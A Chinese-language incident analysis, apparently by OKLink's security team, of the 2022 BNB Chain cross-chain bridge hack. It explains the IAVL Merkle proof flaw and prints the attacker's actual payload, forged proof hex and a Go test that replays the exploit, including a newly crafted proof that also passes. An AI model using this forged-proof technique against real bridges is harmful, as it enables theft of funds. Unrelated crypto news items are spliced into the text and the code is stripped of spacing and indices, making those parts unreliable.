事件背景
北京时间2022年10月7日凌晨，BNB??Chian跨链桥BSCTokenHub遭遇攻击。黑客利用跨链桥漏洞分两次共获取200万枚BNB，价值约5.66亿美元。
漏洞分析
BSCTokenHub是BNB信标链和BNB链之间的跨链桥。BNB链使用预编译合约0x65验证BNB信标链提交的IAVL的Proof，但BNB链对提交的Proof边界情况处理不足，它仅考虑了Proof只有一个Leaf的场景，对多个Leaves的处理逻辑不够严谨。黑客构造了一个包含多Leaves的Proof数据，绕过BNBChain上的校验，从而在BNB链造成了BNB增发。
以其中一次攻击交易为例：0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
黑客构造输入数据payload和proof，输入参数通过validateMerkleProof校验，返回值为true。
在后续IApplication(handlerContract).handleSynPackage处理中，合约给黑客增发100万个BNB。
函数调用过程
交易首先调用CrossChain合约0x2000的handlePackage函数：
?functionhandlePackage(bytescalldatapayload,bytescalldataproof,uint64height,uint64packageSequence,uint8channelId)onlyInitonlyRelayer???sequenceInOrder(packageSequence,channelId)blockSynced(height)channelSupported(channelId)external{??bytesmemorypayloadLocal=payload;//fixerror:stacktoodeep,tryremovinglocalvariables??bytesmemoryproofLocal=proof;//fixerror:stacktoodeep,tryremovinglocalvariables?require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),STORE_NAME,generateKey(packageSequence,channelId),payloadLocal,proofLocal),"invalidmerkleproof");??addresspayableheaderRelayer=ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);??......??if(packageType==SYN_PACKAGE){???addresshandlerContract=channelHandlerContractMap;???tryIApplication(handlerContract).handleSynPackage(channelIdLocal,msgBytes)returns(bytesmemoryresponsePayload){?if(responsePayload.length!=0){?????sendPackage(channelSendSequenceMap,channelIdLocal,encodePayload(ACK_PACKAGE,0,responsePayload));?????channelSendSequenceMap=channelSendSequenceMap1;????}???}???......??}??......??IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer,msg.sender,relayFee,isRelayRewardFromSystemReward||packageType!=SYN_PACKAGE);?}?输入参数{?"payload":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",?"height":110217401,?"packageSequence":17684572,?"channelId":2}
ETH最近活跃5-7年的供应量达到一个月新高:金色财经报道，据Glassnode数据显示，ETH最近活跃5-7年的供应量刚刚达到10,515,966.808 ETH，为最近一个月新高。[2023/7/9 22:26:37]
handlePackage会进一步调用MerkleProof.validateMerkleProof对输入的proof进行校验：
//函数原型：functionvalidateMerkleProof(??bytes32appHash,??stringmemorystoreName,??bytesmemorykey,??bytesmemoryvalue,??bytesmemoryproof)//函数调用：MerkleProof.validateMerkleProof(??ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),??STORE_NAME,??generateKey(packageSequence,channelId),??payloadLocal,??proofLocal),//调用参数：{?"appHash":"0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",?"storeName":"ibc",?"key":"0x00000100380200000000010dd85c",?"value":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"}
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MerkleProof相关代码可以看到，实际的验证逻辑是使用预编译合约0x65完成：https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66
??uint256memoryresult;??/*solium-disable-next-line*/??assembly{??//callvalidateMerkleProofprecompilecontract??//Contractaddress:0x65???ifiszero(staticcall(not(0),0x65,input,length,result,0x20)){}??}??returnresult==0x01;
系统预编译合约0x65对应iavlMerkleProofValidate功能：https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81
系统合约0x65实现代码如下，主要逻辑为使用DecodeKeyValueMerkleProof解码输入参数，并调用Validate进行校验：https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106
func(c*iavlMerkleProofValidate)Run(inputbyte)(resultbyte,errerror){??//returnnil,fmt.Errorf("suspend")??......??kvmp,err:=lightclient.DecodeKeyValueMerkleProof(input)iferr!=nil{??????returnnil,err??}??valid:=kvmp.Validate()if!valid{??????returnnil,fmt.Errorf("invalidmerkleproof")??}??result=make(byte,merkleProofValidateResultLength)??binary.BigEndian.PutUint64(result,0x01)??returnresult,nil}
其中kvmp.Validate()实现代码如下：https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234
func(kvmp*KeyValueMerkleProof)Validate()bool{??prt:=DefaultProofRuntime()??kp:=merkle.KeyPath{}??kp=kp.AppendKey(byte(kvmp.StoreName),merkle.KeyEncodingURL)??kp=kp.AppendKey(kvmp.Key,merkle.KeyEncodingURL)??iflen(kvmp.Value)==0{????err:=prt.VerifyAbsence(kvmp.Proof,kvmp.AppHash,kp.String())????returnerr==nil??}??err:=prt.VerifyValue(kvmp.Proof,kvmp.AppHash,kp.String(),kvmp.Value)??returnerr==nil}
DefaultProofRuntime构造函数使用IAVL库进行Proof的验证：
import(??"bytes"??"fmt"??"github.com/tendermint/iavl"??"github.com/tendermint/tendermint/crypto/merkle"??cmn"github.com/tendermint/tendermint/libs/common")......funcDefaultProofRuntime()(prt*merkle.ProofRuntime){??prt=merkle.NewProofRuntime()??prt.RegisterOpDecoder(merkle.ProofOpSimpleValue,merkle.SimpleValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLValue,iavl.IAVLValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence,iavl.IAVLAbsenceOpDecoder)??prt.RegisterOpDecoder(ProofOpMultiStore,MultiStoreProofOpDecoder)??return}IAVL代码问题
IAVL的Proof校验过程中，Hash计算存在漏洞，导致黑客可以在Proof添加数据，但计算Hash时并没有用到添加的数据。详细分析如下：
一白帽黑客从0xSifu处获得100ETH，计划返还资金:4月9日消息，推特用户Trust发推表示，刚才以白帽黑客形式从Frog Nation前CFO 0xSifu处获得100ETH，计划返还这些资金。此前报道，SushiSwap的Router Process 2合约似乎存在一个与approve有关的漏洞，导致FrogNation前CFO 0xSifu损失约1900枚ETH（超330万美元）。[2023/4/9 13:52:50]
在len(pin.Left)不为0的分支中，计算Hash并没有使用pin.Right数据。黑客利用该处漏洞构造数据，添加proof.LeftPath.Right数据，但是该数据并不参与Hash计算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93
func(pinProofInnerNode)Hash(childHashbyte)(byte,error){????hasher:=sha256.New()????buf:=bufPool.Get().(*bytes.Buffer)????buf.Reset()????deferbufPool.Put(buf)????err:=encoding.EncodeVarint(buf,int64(pin.Height))????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Size)????}????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Version)????}iflen(pin.Left)==0{iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Right)????????}????}else{iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Left)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}????}????iferr!=nil{????????returnnil,fmt.Errorf("failedtohashProofInnerNode:%v",err)????}????_,err=hasher.Write(buf.Bytes())????iferr!=nil{????????returnnil,err????}????returnhasher.Sum(nil),nil}
根据上述分析，正常数据组织结构如下，proof.LeftPath.Right为空值，计算得到正确的Hash。
proof.LeftPath=len(2)
proof.LeftPath是一个正常数据，proof.LeftPath.Left是一个正常数据，proof.LeftPath.Right空值
proof.InnerNodes=len(0)
proof.Leaves=len(1),proof.Leaves是一个正常数据
黑客构造攻击数据结构如下，添加proof.LeftPath.Right数据，且该数据不参与Hash计算。
proof.LeftPath=len(2)
proof.LeftPath是一个正常数据，proof.LeftPath.Left是一个正常数据，proof.LeftPath.Right是一个伪造数据
proof.InnerNodes=len(1),InnerNodes=nil
proof.Leaves=len(2),proof.Leaves是一个正常数据，proof.Leaves是一个伪造数据
且proof.LeftPath.Right=COMPUTEHASH(proof.Leaves)
IAVL的Proof校验代码如下，主体逻辑为COMPUTEHASH递归调用。由于lpath.Right也为黑客输入数据，使得黑客构造的数据能够通过bytes.Equal(derivedRoot,lpath.Right)的校验，并返回上一轮COMPUTEHASH通过proof.Leaves计算的结果，该结果为正常数值，从而绕过了IAVL的Proof校验。
https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309
func(proof*RangeProof)_computeRootHash()(rootHashbyte,treeEndbool,errerror){?...??varCOMPUTEHASHfunc(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror)??//rightmost:istherootarightmostchildofthetree???//treeEnd:trueiffthelastleafisthelastitemofthetree.??//Returnsthe(possiblyintermediate,possiblyroot)hash.??COMPUTEHASH=func(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror){??????//Popnextleaf.??????nleaf,rleaves:=leaves,leaves??????leaves=rleaves??????//Computehash.??????hash,err=(pathWithLeaf{??????????Path:path,??????????Leaf:nleaf,??????}).computeRootHash()??????iferr!=nil{??????????returnnil,treeEnd,false,err??????}??????//Ifwedon'thaveanyleavesleft,we'redone.??????iflen(leaves)==0{??????????rightmost=rightmost&&path.isRightmost()??????????returnhash,rightmost,true,nil??????}??????//Provealongpath(untilwerunoutofleaves).??????forlen(path)>0{??????????//Droptheleaf-most(last-most)innernodesfrompath??????????//untilweencounteronewithalefthash.??????????//Weassumethattheleftsideisalreadyverified.??????????//rpath:restofpath??????????//lpath:lastpathitem??????????rpath,lpath:=path,path??????????path=rpath??????????iflen(lpath.Right)==0{??????????????continue??????????}??????????//Popnextinners,aPathToLeaf(e.g.ProofInnerNode).??????????inners,rinnersq:=innersq,innersq??????????innersq=rinnersq??????????//Recursivelyverifyinnersagainstremainingleaves.??????????derivedRoot,treeEnd,done,err:=COMPUTEHASH(inners,rightmost&&rpath.isRightmost())??????????iferr!=nil{??????????????returnnil,treeEnd,false,errors.Wrap(err,"recursiveCOMPUTEHASHcall")??????????}??????????if!bytes.Equal(derivedRoot,lpath.Right){returnnil,treeEnd,false,errors.Wrapf(ErrInvalidRoot,"intermediateroothash%Xdoesn'tmatch,got%X",lpath.Right,derivedRoot)??????????}ifdone{returnhash,treeEnd,true,nil??????????}??????}??????//We'renotdoneyet(leavesleftover).Noerror,notdoneeither.??????//Technicallyifrightmost,weknowthere'sanerror"leftoverleaves??????//--malformedproof",butwereturnthatatthetoplevel,below.??????returnhash,false,false,nil??}??//Verify!??path:=proof.LeftPath??rootHash,treeEnd,done,err:=COMPUTEHASH(path,true)??iferr!=nil{??????returnnil,treeEnd,errors.Wrap(err,"rootCOMPUTEHASHcall")??}elseif!done{??????returnnil,treeEnd,errors.Wrap(ErrInvalidProof,"leftoverleaves--malformedproof")??}??//Ok!??returnrootHash,treeEnd,nil}
《华尔街日报》：Silvergate Capital的一个账户可能在FTX破产中发挥了关键作用:12月21日消息，Silvergate Capital正在审查FTX及其投资公司Alameda Research之间的交易。Silvergate Capital透露给三位美国参议员的信息显示，Silvergate Capital的一个账户似乎是FTX破产的核心。
据悉，这三位参议员向Silvergate Capital询问了账户的具体信息，但没有得到太多答案，因为相关保密规则规定必须对信息保密。Silvergate对FTX的审查结果可能会影响FTX即将到来的第二场听证会。11月初，该金融机构承认对FTX有敞口，但据称规模不到其总存款的10%。[2022/12/21 21:58:30]
黑客攻击构造的数据中，包括了IAVL:V和multistore相关数据，multistore数据也是基于IAVL进行操作，原理是一样的，不再进行详细分析。
这次IAVLProof暴露的问题在于，数据局部的变化无法反应到整体，使得校验发生错误。在Cosmos生态中，IBC使用ICS23来做数据的校验处理，ICS23与IAVLProof校验不同点在于，ICS23会对所有的“叶子节点”的值进行数据校验，最后计算得出的根Hash再与链上数据进行校验，OKC采用的是ICS23的Prove，因此不存在BNBChain这次遇到的安全漏洞。
测试验证代码
利用黑客攻击交易数据，基于BNBChain单元测试代码，增加了基于黑客攻击交易的测试用例，可以完整复现黑客的攻击交易。单元测试代码利用iavlMerkleProofValidate.Run接口验证输入数据，即相当于调用预编译合约。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100
iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}success,err:=iavlMerkleProofValidateContract.Run(input)
利用黑客攻击交易数据，构造新的payload数据为value:=byte(“okctesthack”)，并对proof相应数据进行了修改，即修改proof.LeftPath.Right和proof.Leaves对应的数据，新构造的数据可以通过okcIavlMerkleProofValidate校验，即修改了黑客数据也能通过校验。另外，如下单元测试代码对原始黑客数据和修改后的数据两种case都进行了校验，且校验都能成功，从而说明如下测试代码利用本文所述漏洞成功进行了复现。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958
funcTestTmHeaderValidateAndMerkleProofValidateTest(t*testing.T){????testCases:=struct{????????name?string????????valuebyte????????proofbyte??}{????{??????//datasourcehttps://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b??????"hackdata",??????func()byte{??????????value,err:=hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")??????????require.NoError(t,err)??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},????{??????"okctestdata",??????func()byte{??????????value:=byte("okctesthack")??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},??}??for_,tc:=rangetestCases{????okcIavlMerkleProofValidate(tc.value,tc.proof,t)??}}funcokcIavlMerkleProofValidate(value,proofBytesbyte,t*testing.T){??key,err:=hex.DecodeString("00000100380200000000010dd85c")//thisequaltogenerateKey(17684572,2)??require.NoError(t,err)??newAppHash,err:=hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318")//thisisgotbyhackdata??require.NoError(t,err)??merkleProofInput:=make(byte,3232len(key)32len(value)32len(proofBytes))??copy(merkleProofInput,"ibc")??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(key)))??copy(merkleProofInput,key)??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(value)))??copy(merkleProofInput,value)??copy(merkleProofInput,newAppHash)??copy(merkleProofInput,proofBytes)??totalLengthPrefix:=make(byte,32)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,uint64(len(merkleProofInput)))??input:=append(totalLengthPrefix,merkleProofInput...)??iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}??success,err:=iavlMerkleProofValidateContract.Run(input)??require.NoError(t,err,err)??expectedResult:=make(byte,32)??binary.BigEndian.PutUint64(expectedResult,0x01)??require.Equal(t,expectedResult,success。
港股收盘：欧科云链收跌10.26%，火币科技收涨2.22%:金色财经报道，今日港股收盘，恒生指数收盘下跌43.95点，跌幅0.19%，报23236.11点，欧科集团旗下欧科云链（01499.HK）报0.210点，收跌10.26%，火币科技（01611.HK）报3.220点，收涨2.22%，雄岸科技（01647.HK）报0.210点，收涨3.45%。[2020/4/3]
事件过程
被攻击全过程可查看上一篇文章：链上卫士：BNBChain遭攻击时间轴梳理。OKLink多链浏览器已对BNBChain黑客地址进行风险标签标记，关于此次被盗后续，链上卫士团队将进一步追踪案件细节并及时同步。
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